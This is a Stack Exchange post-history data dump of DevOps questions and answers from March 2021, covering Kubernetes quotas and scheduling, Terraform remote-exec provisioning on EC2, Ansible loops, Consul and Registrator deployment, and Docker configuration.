  <row Id="41470" PostHistoryTypeId="2" PostId="13476" RevisionGUID="564972b3-20a9-4848-a59e-70107d8ebe91" CreationDate="2021-03-03T20:49:11.070" UserId="11971" Text="I have been reading through [the docs][1] but it still is not clear as to why I should use one or the other. They have great examples of how to configure them but don't answer the why for quotes or limits very well. &#xD;&#xA;&#xD;&#xA;I want to understand &#xD;&#xA;&#xD;&#xA;    kind: ResourceQuota&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;    kind: LimitRange&#xD;&#xA;&#xD;&#xA;I am not so interested in the yaml this is very clearly given in the examples. &#xD;&#xA;I want to understand the use-cases better. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/administer-cluster/manage-resources/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41471" PostHistoryTypeId="1" PostId="13476" RevisionGUID="564972b3-20a9-4848-a59e-70107d8ebe91" CreationDate="2021-03-03T20:49:11.070" UserId="11971" Text="kubernetes quota vs limit. What are they? How are they different? When should I use one or the other?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41472" PostHistoryTypeId="3" PostId="13476" RevisionGUID="564972b3-20a9-4848-a59e-70107d8ebe91" CreationDate="2021-03-03T20:49:11.070" UserId="11971" Text="&lt;kubernetes&gt;&lt;containers&gt;&lt;deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41473" PostHistoryTypeId="2" PostId="13477" RevisionGUID="16e6f844-8220-4b95-aaa0-19abf1f6d2f6" CreationDate="2021-03-03T22:40:18.107" UserId="12991" Text="I am using Terraform 0.14 and AWS.  I am trying to write a .tf file that will invoke a remote-exec command via Terraform's provisioner.&#xD;&#xA;&#xD;&#xA;This code does not work:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;example&quot; {&#xD;&#xA;      ami           = &quot;ami-1234&quot;&#xD;&#xA;      instance_type = &quot;t2.large&quot;&#xD;&#xA;      key_name      = &quot;foobar&quot;&#xD;&#xA;      user_data     = local.cloud_config_config&#xD;&#xA;    &#xD;&#xA;      provisioner &quot;remote-exec&quot; {&#xD;&#xA;        inline = [&quot;sudo yum -y install coolprogram&quot;]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The above will create the EC-2 instance.  But it won't run the inline command.  After I run &quot;terraform apply&quot; with the above content in my .tf file, I see &quot;Error: host for provisioner cannot be empty&quot;&#xD;&#xA;&#xD;&#xA;I tried this .tf file variation, but I get an error about the variable:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;example&quot; {&#xD;&#xA;      ami           = &quot;ami-1234&quot;&#xD;&#xA;      instance_type = &quot;t2.large&quot;&#xD;&#xA;      key_name      = &quot;foobar&quot;&#xD;&#xA;      user_data     = local.cloud_config_config&#xD;&#xA;    &#xD;&#xA;      provisioner &quot;remote-exec&quot; {&#xD;&#xA;        inline = [&quot;sudo yum -y install coolprogram&quot;]&#xD;&#xA;      }&#xD;&#xA;      connection {&#xD;&#xA;        host     = &quot;${var.host_name}&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The hostname will be created dynamically.  Terraform's [documentation][1] does not mention a hostname.  I have tried different variables.tf files.  &#xD;&#xA;&#xD;&#xA;But I always get something like this:&#xD;&#xA;&#xD;&#xA;&gt; aws_instance.example (remote-exec): Connecting to remote host via&#xD;&#xA;&gt; SSH... aws_instance.example (remote-exec):   Host: example&#xD;&#xA;&gt; aws_instance.example (remote-exec):   User: root aws_instance.example&#xD;&#xA;&gt; (remote-exec):   Password: false aws_instance.example (remote-exec):  &#xD;&#xA;&gt; Private key: false aws_instance.example (remote-exec):   Certificate:&#xD;&#xA;&gt; false aws_instance.example (remote-exec):   SSH Agent: false&#xD;&#xA;&gt; aws_instance.example (remote-exec):   Checking Host Key: false&#xD;&#xA;&gt; aws_instance.example (remote-exec):   Target Platform: unix&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How do I use the remote-exec provisioner on an EC-2 server?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/language/resources/provisioners/remote-exec.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="41474" PostHistoryTypeId="1" PostId="13477" RevisionGUID="16e6f844-8220-4b95-aaa0-19abf1f6d2f6" CreationDate="2021-03-03T22:40:18.107" UserId="12991" Text="How do I use the remote-exec provisioner with Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41475" PostHistoryTypeId="3" PostId="13477" RevisionGUID="16e6f844-8220-4b95-aaa0-19abf1f6d2f6" CreationDate="2021-03-03T22:40:18.107" UserId="12991" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41476" PostHistoryTypeId="2" PostId="13478" RevisionGUID="888f5cef-4a5a-41fe-99ce-cd305e906576" CreationDate="2021-03-04T01:21:57.227" UserId="2463" Text="[Terraform Provisioners are a last resort](https://www.terraform.io/docs/language/resources/provisioners/syntax.html#provisioners-are-a-last-resort), so I'd encourage you to think about other options first. &#xD;&#xA;&#xD;&#xA;In this case, your example suggests that you're already using cloud-init and so if at all possible I'd suggest modifying that cloud-init configuration to include a request to install the package you want to install. If you are using the cloud-config YAML format then you can use the [Package Update Upgrade Install](https://cloudinit.readthedocs.io/en/latest/topics/modules.html#package-update-upgrade-install) module to get a similar effect to your `yum install` command line:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;packages:&#xD;&#xA; - coolprogram&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;However, if you've eliminated all other options except provisioners then the typical way to use remote-exec with an EC2 instance is to pass one of the instance's own IP addresses as the hostname, which you can do by using the special `self` object in the `connection` block to refer to the attributes of the object that the provisioner is running against, like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_instance&quot; &quot;example&quot; {&#xD;&#xA;  ami           = &quot;ami-1234&quot;&#xD;&#xA;  instance_type = &quot;t2.large&quot;&#xD;&#xA;  key_name      = &quot;foobar&quot;&#xD;&#xA;  user_data     = local.cloud_config_config&#xD;&#xA;&#xD;&#xA;  connection {&#xD;&#xA;    host = self.private_ip&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  provisioner &quot;remote-exec&quot; {&#xD;&#xA;    inline = [&quot;sudo yum -y install coolprogram&quot;]&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The above example uses `self.private_ip`, which will work only if the host where you are running Terraform is running in or able to connect to the VPC where you're deploying this instance. Another option is to use `self.public_ip` to use the public IP address, but that will work only if your VPC has an Internet Gateway and your instance belongs to a security group that can accept incoming SSH connections from the internet.&#xD;&#xA;&#xD;&#xA;In addition to supplying a suitable IP address, you'll also need to generate and assign an allowed SSH public key to the EC2 instance and provide the corresponding private key in the `connection` block, using the `private_key` argument. (Or one of the other authentication strategies that [a `connection` block](https://www.terraform.io/docs/language/resources/provisioners/connection.html) supports.)&#xD;&#xA;&#xD;&#xA;These connection and authentication complexities are, as you hopefully saw in the Terraform documentation I linked earlier, one of the main reasons why provisioners are a last resort. Using cloud-init instead will avoid this because cloud-init runs automatically on system boot and retrieves the `user_data` string using a private API accessible from the instance's private network interface, and so it doesn't need any outside connectivity, to start any listening services, or to generate any new credentials.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41479" PostHistoryTypeId="2" PostId="13479" RevisionGUID="db52be65-abbe-4015-9a23-dfa53b07166b" CreationDate="2021-03-04T09:22:04.420" UserId="10769" Text="As the Linux philosophy says:&#xA;&#xA;&gt; Make each program do one thing well&#xA;&#xA;So it's worth it to use the vault agent, cause it's doing well what it would be done.&#xA;&#xA;You can find an awesome example [here][1]&#xA;&#xA;&#xA;  [1]: https://www.vaultproject.io/docs/platform/k8s/injector &quot;here&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41480" PostHistoryTypeId="2" PostId="13480" RevisionGUID="28b18f26-3211-4405-93dd-6af448f666af" CreationDate="2021-03-04T10:03:51.437" UserId="26441" Text="I'm attempting to create an Ansible Role to create users... I want it to be able to accept a list of dicts and if a key is missing from the dict, it will fall back to Ansible's default.&#xD;&#xA;&#xD;&#xA;For example, given the following data:&#xD;&#xA;```yml&#xD;&#xA;---&#xD;&#xA;users:&#xD;&#xA; - { name: foo, group: bar, create_home: no }&#xD;&#xA;   { name: goo, group: bar }&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;I'd normally loop over the list with something like:&#xD;&#xA;```yml&#xD;&#xA;- name: Add users&#xD;&#xA;  ansible.builtin.user:&#xD;&#xA;    name: &quot;{{ item.name }}&quot;&#xD;&#xA;    groups: &quot;{{ item.group }}&quot;&#xD;&#xA;    create_home: &quot;{{ item.create_home }}&quot;&#xD;&#xA;    state: present&#xD;&#xA;  loop: &quot;{{ users }}&quot;&#xD;&#xA;```&#xD;&#xA;However, because `create_home` doesn't exist for the second user, it'd throw an error. How could I get it to fall back to Ansible's default for keys that don't exist?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41481" PostHistoryTypeId="1" PostId="13480" RevisionGUID="28b18f26-3211-4405-93dd-6af448f666af" CreationDate="2021-03-04T10:03:51.437" UserId="26441" Text="Looping an Array with Missing Keys in Ansible Tasks" ContentLicense="CC BY-SA 4.0" />
  <row Id="41482" PostHistoryTypeId="3" PostId="13480" RevisionGUID="28b18f26-3211-4405-93dd-6af448f666af" CreationDate="2021-03-04T10:03:51.437" UserId="26441" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41483" PostHistoryTypeId="2" PostId="13481" RevisionGUID="c05722ea-a34b-4531-b951-ee0cbddc2cd1" CreationDate="2021-03-04T10:11:14.630" UserId="7715" Text="Q: *&quot;**How could I get it to fall back to Ansible's default for keys that don't exist?**&quot;*&#xD;&#xA;&#xD;&#xA;A: [Omit](https://docs.ansible.com/ansible/latest/user_guide/playbooks_filters.html#making-variables-optional) such parameters, e.g.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;    create_home: &quot;{{ item.create_home|default(omit) }}&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41484" PostHistoryTypeId="2" PostId="13482" RevisionGUID="8b8137b8-dc21-4ea3-8f9e-f6ede6a8aab1" CreationDate="2021-03-04T11:52:14.390" UserId="6615" Text="Locally on docker desktop it runs fine commands are.&#xD;&#xA;&#xD;&#xA;1. docker run -p 8400:8400 -p 8500:8500 -p 8600:53/udp -h node1 progrium/consul -server -bootstrap -ui-dir /ui&#xD;&#xA;2.docker run -d --name=registrator --net=host --volume=/var/run/docker.sock:/tmp/docker.sock gliderlabs/registrator:master consul://localhost:8500&#xD;&#xA;But when I deploy this on Kuberebtes. It gives error pod &quot;pod/consul-577585dffd-r87p7   1/2     CrashLoopBackOff  &quot;&#xD;&#xA;Yaml as given below&#xD;&#xA;-------------------------------&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  creationTimestamp: null&#xD;&#xA;  name: consul&#xD;&#xA;  namespace: e2-haproxy&#xD;&#xA;spec:&#xD;&#xA;  replicas: 2&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: consul&#xD;&#xA;  strategy: {}&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      creationTimestamp: null&#xD;&#xA;      labels:&#xD;&#xA;        app: consul&#xD;&#xA;    spec:&#xD;&#xA;      restartPolicy: Always&#xD;&#xA;      containers:&#xD;&#xA;        - name: consul&#xD;&#xA;          image: progrium/consul&#xD;&#xA;          ports:&#xD;&#xA;          - containerPort: 8300&#xD;&#xA;            protocol: TCP&#xD;&#xA;          - containerPort: 8400&#xD;&#xA;            protocol: TCP&#xD;&#xA;          - containerPort: 8500&#xD;&#xA;            protocol: TCP&#xD;&#xA;          - containerPort: 53&#xD;&#xA;            protocol: UDP&#xD;&#xA;          env:&#xD;&#xA;            - name: MY_POD_IP&#xD;&#xA;            valueFrom:&#xD;&#xA;                fieldRef:&#xD;&#xA;                  fieldPath: status.podIP&#xD;&#xA;          args:&#xD;&#xA;            - -server&#xD;&#xA;            - -bootstrap&#xD;&#xA;            - -advertise=$(MY_POD_IP)&#xD;&#xA;&#xD;&#xA;        - name: registrator&#xD;&#xA;          args:&#xD;&#xA;            - -internal&#xD;&#xA;            - -ip=$(MY_POD_IP)&#xD;&#xA;            - consul://localhost:8500&#xD;&#xA;          env:&#xD;&#xA;            - name: MY_POD_IP&#xD;&#xA;              valueFrom:&#xD;&#xA;                fieldRef:&#xD;&#xA;                  fieldPath: status.podIP&#xD;&#xA;          image: gliderlabs/registrator:master&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - mountPath: /tmp/docker.sock&#xD;&#xA;              name: registrator-claim0&#xD;&#xA;      volumes:&#xD;&#xA;        - name: registrator-claim0&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: registrator-claim0&#xD;&#xA;status: {}&#xD;&#xA;&#xD;&#xA;Thank you&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41485" PostHistoryTypeId="1" PostId="13482" RevisionGUID="8b8137b8-dc21-4ea3-8f9e-f6ede6a8aab1" CreationDate="2021-03-04T11:52:14.390" UserId="6615" Text="I Want to deploy Consul and Registrator docker containers on Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="41486" PostHistoryTypeId="3" PostId="13482" RevisionGUID="8b8137b8-dc21-4ea3-8f9e-f6ede6a8aab1" CreationDate="2021-03-04T11:52:14.390" UserId="6615" Text="&lt;kubernetes&gt;&lt;consul&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41487" PostHistoryTypeId="2" PostId="13483" RevisionGUID="817079cb-6011-45c7-8a72-b363b514f4d4" CreationDate="2021-03-04T14:00:41.127" UserId="2901" Text="If I run ansible with `profile_tasks` I get a nice table at the end that shows me how long each task took.&#xD;&#xA;&#xD;&#xA;How can I get a similar summary at the end of running `terraform apply`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41488" PostHistoryTypeId="1" PostId="13483" RevisionGUID="817079cb-6011-45c7-8a72-b363b514f4d4" CreationDate="2021-03-04T14:00:41.127" UserId="2901" Text="How Do I Get A Summary of Task Times With Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41489" PostHistoryTypeId="3" PostId="13483" RevisionGUID="817079cb-6011-45c7-8a72-b363b514f4d4" CreationDate="2021-03-04T14:00:41.127" UserId="2901" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41490" PostHistoryTypeId="2" PostId="13484" RevisionGUID="3675cf3f-75f3-4b9c-9236-c4df26998a3c" CreationDate="2021-03-04T15:33:12.817" UserId="12988" Text="`ResourceQuota` is &#xD;&#xA;&#xD;&#xA;&gt; the total amount of memory and CPU that can be used by all Containers running in a namespace&#xD;&#xA;&#xD;&#xA;`LimitRange`is&#xD;&#xA;&#xD;&#xA;&gt; if ... the Container does not specify its own CPU limit, then the Container is assigned the default CPU limit &#xD;&#xA;&#xD;&#xA;- Example of ResourceQuota:&#xD;&#xA;&#xD;&#xA;Imagine you have 2 namespaces in the same cluster, the namespace &quot;backup&quot; and namespace &quot;test&quot;. &quot;backup&quot; run critical pods and you want to guarantee that will always have enough resources (CPU and memory) to run it. So you can configure a ResourceQuota in the namespace &quot;test&quot; to use only a part of the total amount of CPU and memory in your cluster. &#xD;&#xA;&#xD;&#xA;Is like you say to k8s: &quot;The sum of all memory and CPU of all pods in the namespace &quot;test&quot; can't be higher than what is specified in the ResourceQuota, 20G for memory and 12 vCPU's&quot;&#xD;&#xA;&#xD;&#xA;- Example of LimitRange:&#xD;&#xA;&#xD;&#xA;You can specify in the yaml the minimum and maximum amount of CPU and memory a container can consume but instead of configuring in every yaml file you can set a default value with LimitRange.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is like you say to k8s: &quot;If there is no resource configured in the yaml file apply this LimitRange.&#xD;&#xA;  &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41491" PostHistoryTypeId="2" PostId="13485" RevisionGUID="6e2ca2d1-44d6-47e2-9dbd-1b323ba272ff" CreationDate="2021-03-04T17:03:13.203" UserId="26448" Text="As I see in Velero code (version: v.1.5.3), the backups can have the following phases:&#xD;&#xA; - New &#xD;&#xA; - FailedValidation&#xD;&#xA; - InProgress&#xD;&#xA; - Completed&#xD;&#xA; - PartiallyFailed&#xD;&#xA; - Failed&#xD;&#xA; - Deleting&#xD;&#xA;&#xD;&#xA;see: https://github.com/vmware-tanzu/velero/blob/v1.5.3/pkg/apis/velero/v1/backup.go#L195&#xD;&#xA;&#xD;&#xA;Restores have these phases:&#xD;&#xA; - New&#xD;&#xA; - FailedValidation&#xD;&#xA; - InProgress&#xD;&#xA; - Completed&#xD;&#xA; - PartiallyFailed&#xD;&#xA; - Failed&#xD;&#xA;&#xD;&#xA;see: https://github.com/vmware-tanzu/velero/blob/v1.5.3/pkg/apis/velero/v1/restore.go#L184&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41492" PostHistoryTypeId="2" PostId="13486" RevisionGUID="90050ec7-c7ee-43d3-9cf0-c6ab031d1e92" CreationDate="2021-03-04T19:48:03.803" UserId="26451" Text="Take a look at this Jenkins Plugin: https://plugins.jenkins.io/slave-status/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41494" PostHistoryTypeId="2" PostId="13487" RevisionGUID="be3578a7-42a0-43de-95c0-86107f34023e" CreationDate="2021-03-04T21:15:28.950" UserId="15739" Text="here is a complete example:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_key_pair&quot; &quot;my_key&quot; {&#xD;&#xA;     key_name   = &quot;my_key&quot;&#xD;&#xA;     public_key = file(pathexpand(&quot;~/.ssh/id_rsa.pub&quot;))&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;example&quot; {&#xD;&#xA;      ami = my_ami&#xD;&#xA;      instance_type = &quot;t2.micro&quot;&#xD;&#xA;      key_name = aws_key_pair.my_key.key_name&#xD;&#xA;      ebs_block_device {&#xD;&#xA;        device_name = &quot;/dev/sda1&quot;&#xD;&#xA;        volume_size = 50&#xD;&#xA;      }&#xD;&#xA;      provisioner &quot;remote-exec&quot; {&#xD;&#xA;       inline = [&quot;my_command&quot;]&#xD;&#xA;      }&#xD;&#xA;      connection {&#xD;&#xA;       host        = coalesce(self.public_ip, self.private_ip)&#xD;&#xA;       agent       = true&#xD;&#xA;       type        = &quot;ssh&quot;&#xD;&#xA;       user        = &quot;My_user_name&quot;&#xD;&#xA;       private_key = file(pathexpand(&quot;~/.ssh/id_rsa&quot;))&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="41495" PostHistoryTypeId="5" PostId="13487" RevisionGUID="7287cfd7-6a2d-4bd4-94e9-2af7e087022b" CreationDate="2021-03-04T21:21:05.330" UserId="15739" Comment="added 217 characters in body" Text="here is a complete example:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_key_pair&quot; &quot;my_key&quot; {&#xD;&#xA;     key_name   = &quot;my_key&quot;&#xD;&#xA;     public_key = file(pathexpand(&quot;~/.ssh/id_rsa.pub&quot;))&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;example&quot; {&#xD;&#xA;      ami = my_ami&#xD;&#xA;      instance_type = &quot;t2.micro&quot;&#xD;&#xA;      key_name = aws_key_pair.my_key.key_name&#xD;&#xA;      ebs_block_device {&#xD;&#xA;        device_name = &quot;/dev/sda1&quot;&#xD;&#xA;        volume_size = 50&#xD;&#xA;      }&#xD;&#xA;      provisioner &quot;remote-exec&quot; {&#xD;&#xA;       inline = [&quot;my_command&quot;]&#xD;&#xA;      }&#xD;&#xA;      connection {&#xD;&#xA;       host        = coalesce(self.public_ip, self.private_ip)&#xD;&#xA;       agent       = true&#xD;&#xA;       type        = &quot;ssh&quot;&#xD;&#xA;       user        = &quot;My_user_name&quot;&#xD;&#xA;       private_key = file(pathexpand(&quot;~/.ssh/id_rsa&quot;))&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;so I assumed that you have your public and private key located in your home directory in `.ssh` otherwise you need to hard code the path. and you need to make sure that your IP is allowd in the AWS security group." ContentLicense="CC BY-SA 4.0" />
  <row Id="41496" PostHistoryTypeId="2" PostId="13488" RevisionGUID="d121742e-9e3d-4cf4-9e81-ff59ace015c9" CreationDate="2021-03-04T23:08:03.790" UserId="23647" Text="I have an elasticsearch cluster in a kubernetes cluster. I have the data pods going to memory optimized nodes which are tainted so that only the elasticsearch data pods get scheduled to the. Right now I have 3 memory optimized ec2 instances for these data pods. They are r5.2Xlarge's which have 64G of memory. Here is the output of one of these r5 nodes. (they all look the same)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Capacity:&#xD;&#xA;  attachable-volumes-aws-ebs:  25&#xD;&#xA;  cpu:                         8&#xD;&#xA;  ephemeral-storage:           32461564Ki&#xD;&#xA;  hugepages-1Gi:               0&#xD;&#xA;  hugepages-2Mi:               0&#xD;&#xA;  memory:                      65049812Ki&#xD;&#xA;  pods:                        110&#xD;&#xA;Allocatable:&#xD;&#xA;  attachable-volumes-aws-ebs:  25&#xD;&#xA;  cpu:                         8&#xD;&#xA;  ephemeral-storage:           29916577333&#xD;&#xA;  hugepages-1Gi:               0&#xD;&#xA;  hugepages-2Mi:               0&#xD;&#xA;  memory:                      64947412Ki&#xD;&#xA;  pods:                        110&#xD;&#xA;System Info:&#xD;&#xA;  Machine ID:                 ec223b5ea23ea6bd5b06e8ed0a733d2d&#xD;&#xA;  System UUID:                ec223b5e-a23e-a6bd-5b06-e8ed0a733d2d&#xD;&#xA;  Boot ID:                    798aca5f-d9e1-4c9f-b75d-e16f7ba2d514&#xD;&#xA;  Kernel Version:             5.4.0-1024-aws&#xD;&#xA;  OS Image:                   Ubuntu 20.04.1 LTS&#xD;&#xA;  Operating System:           linux&#xD;&#xA;  Architecture:               amd64&#xD;&#xA;  Container Runtime Version:  docker://19.3.11&#xD;&#xA;  Kubelet Version:            v1.18.10&#xD;&#xA;  Kube-Proxy Version:         v1.18.10&#xD;&#xA;Non-terminated Pods:          (5 in total)&#xD;&#xA;  Namespace                   Name                                                        CPU Requests  CPU Limits  Memory Requests  Memory Limits  AGE&#xD;&#xA;  ---------                   ----                                                        ------------  ----------  ---------------  -------------  ---&#xD;&#xA;  amazon-cloudwatch           fluentd-cloudwatch-tzsv4                                    100m (1%)     0 (0%)      200Mi (0%)       400Mi (0%)     21d&#xD;&#xA;  default                     prometheus-prometheus-node-exporter-tvmd4                   100m (1%)     0 (0%)      0 (0%)           0 (0%)         21d&#xD;&#xA;  es                          elasticsearch-data-0                                        500m (6%)     1 (12%)     8Gi (12%)        8Gi (12%)      14m&#xD;&#xA;  kube-system                 calico-node-dhxg5                                           100m (1%)     0 (0%)      0 (0%)           0 (0%)         21d&#xD;&#xA;  kube-system                 kube-proxy-ip-10-1-12-115.us-gov-west-1.compute.internal    100m (1%)     0 (0%)      0 (0%)           0 (0%)         21d&#xD;&#xA;Allocated resources:&#xD;&#xA;  (Total limits may be over 100 percent, i.e., overcommitted.)&#xD;&#xA;  Resource                    Requests      Limits&#xD;&#xA;  --------                    --------      ------&#xD;&#xA;  cpu                         900m (11%)    1 (12%)&#xD;&#xA;  memory                      8392Mi (13%)  8592Mi (13%)&#xD;&#xA;  ephemeral-storage           0 (0%)        0 (0%)&#xD;&#xA;  hugepages-1Gi               0 (0%)        0 (0%)&#xD;&#xA;  hugepages-2Mi               0 (0%)        0 (0%)&#xD;&#xA;  attachable-volumes-aws-ebs  0             0&#xD;&#xA;```&#xD;&#xA;Here is what my cluster looks like&#xD;&#xA;```&#xD;&#xA;kubectl get pods -n es&#xD;&#xA;NAME                                                 READY   STATUS    RESTARTS   AGE&#xD;&#xA;elasticsearch-client-0                               1/1     Running   0          77m&#xD;&#xA;elasticsearch-client-1                               1/1     Running   0          77m&#xD;&#xA;elasticsearch-data-0                                 1/1     Running   0          77m&#xD;&#xA;elasticsearch-data-1                                 1/1     Running   0          77m&#xD;&#xA;elasticsearch-data-2                                 1/1     Running   0          77m&#xD;&#xA;elasticsearch-data-3                                 0/1     Pending   0          77m&#xD;&#xA;elasticsearch-data-4                                 0/1     Pending   0          77m&#xD;&#xA;elasticsearch-data-5                                 0/1     Pending   0          77m&#xD;&#xA;elasticsearch-data-6                                 0/1     Pending   0          77m&#xD;&#xA;elasticsearch-data-7                                 0/1     Pending   0          77m&#xD;&#xA;elasticsearch-master-0                               2/2     Running   0          77m&#xD;&#xA;elasticsearch-master-1                               2/2     Running   0          77m&#xD;&#xA;prometheus-elasticsearch-exporter-6d6c5d49cf-4w7gc   1/1     Running   0          22h&#xD;&#xA;```&#xD;&#xA;Here is the events when I describe pod&#xD;&#xA;```&#xD;&#xA;Events:&#xD;&#xA;  Type     Reason            Age                  From               Message&#xD;&#xA;  ----     ------            ----                 ----               -------&#xD;&#xA;  Warning  FailedScheduling  56s (x5 over 3m35s)  default-scheduler  0/11 nodes are available: 3 Insufficient memory, 3 node(s) didn't match pod affinity/anti-affinity, 3 node(s) didn't satisfy existing pods anti-affinity rules, 5 node(s) didn't match node selector.&#xD;&#xA;```&#xD;&#xA;Here is my resource limits and requests for the data pods&#xD;&#xA;```&#xD;&#xA;    Limits:&#xD;&#xA;      cpu:     1&#xD;&#xA;      memory:  8Gi&#xD;&#xA;    Requests:&#xD;&#xA;      cpu:      500m&#xD;&#xA;      memory:   8Gi&#xD;&#xA;```&#xD;&#xA;According to my calculations based on my understand (which is probably wrong) my data pods are only asking for 8G of memory from a node which has 64G available, and only one pod requesting 8G of memory is already using it. So it should have theoretically 56G of memory left to other pods requesting to be scheduled to it. And even the memory being used shows me it's only 13% used. Why can't it schedule? How can I troubleshoot? Am I misunderstanding how this should work? What else can I tell you which helps troubleshoot this? " ContentLicense="CC BY-SA 4.0" />
  <row Id="41497" PostHistoryTypeId="1" PostId="13488" RevisionGUID="d121742e-9e3d-4cf4-9e81-ff59ace015c9" CreationDate="2021-03-04T23:08:03.790" UserId="23647" Text="Why is there insufficient memory on kubernetes node" ContentLicense="CC BY-SA 4.0" />
  <row Id="41498" PostHistoryTypeId="3" PostId="13488" RevisionGUID="d121742e-9e3d-4cf4-9e81-ff59ace015c9" CreationDate="2021-03-04T23:08:03.790" UserId="23647" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41499" PostHistoryTypeId="2" PostId="13489" RevisionGUID="119a2bde-b0ae-4271-9aff-e12315a19e9f" CreationDate="2021-03-05T01:33:52.010" UserId="26451" Text="If you see the logs, there's exactly 15s between the calls. Which is what you have configured in you docker compose file.&#xD;&#xA;&#xD;&#xA;If you don't want it to keep pinging after it finds out that the server is alive, you have two options (which is not recommended to do):&#xD;&#xA;- Don't use healthcheck, just add your logic in the `command` part&#xD;&#xA;- Setup a higher interval for your healthcheck&#xD;&#xA;&#xD;&#xA;Also, I have questions for you:&#xD;&#xA;- Why do you want the healthcheck to be done only once?&#xD;&#xA;- What if you server goes down, don't you want to restart it?&#xD;&#xA;&#xD;&#xA;My recommendation is to keep this config as is because it does the work of checking for your service availability and will restart as needed and quickly." ContentLicense="CC BY-SA 4.0" />
  <row Id="41500" PostHistoryTypeId="2" PostId="13490" RevisionGUID="00ada374-d764-4b85-8718-a9d98cc49255" CreationDate="2021-03-05T01:51:02.053" UserId="26451" Text="This is what I would to better handle the base docker images lifecycle:&#xD;&#xA;- Create a git repo to save your Dockerfile + configs&#xD;&#xA;- Create a Dockerfile with alpine + all the configs/libraries you want&#xD;&#xA;- Add your php.ini + php-cli.ini configs&#xD;&#xA;- Have a Jenkins job to start on each push to that repo:&#xD;&#xA;  - Build your docker image&#xD;&#xA;  - Tag it incrementally &#xD;&#xA;  - Push to your registry&#xD;&#xA;- Use that base image to create your final docker image&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41502" PostHistoryTypeId="50" PostId="12625" RevisionGUID="2d26f6f4-3b82-44e4-be02-0d6c404306f4" CreationDate="2021-03-05T10:02:25.250" UserId="-1" />
  <row Id="41503" PostHistoryTypeId="2" PostId="13492" RevisionGUID="ed44ffde-1170-4168-a12c-7a544c2ccad7" CreationDate="2021-03-05T15:52:45.547" UserId="26469" Text="Why are the port options not available in docker desktop (windows 10)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;current settings (I have tried both engine options):&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/796fw.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/sp6vj.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="41504" PostHistoryTypeId="1" PostId="13492" RevisionGUID="ed44ffde-1170-4168-a12c-7a544c2ccad7" CreationDate="2021-03-05T15:52:45.547" UserId="26469" Text="Docker desktop Ports binding not available" ContentLicense="CC BY-SA 4.0" />
  <row Id="41505" PostHistoryTypeId="3" PostId="13492" RevisionGUID="ed44ffde-1170-4168-a12c-7a544c2ccad7" CreationDate="2021-03-05T15:52:45.547" UserId="26469" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
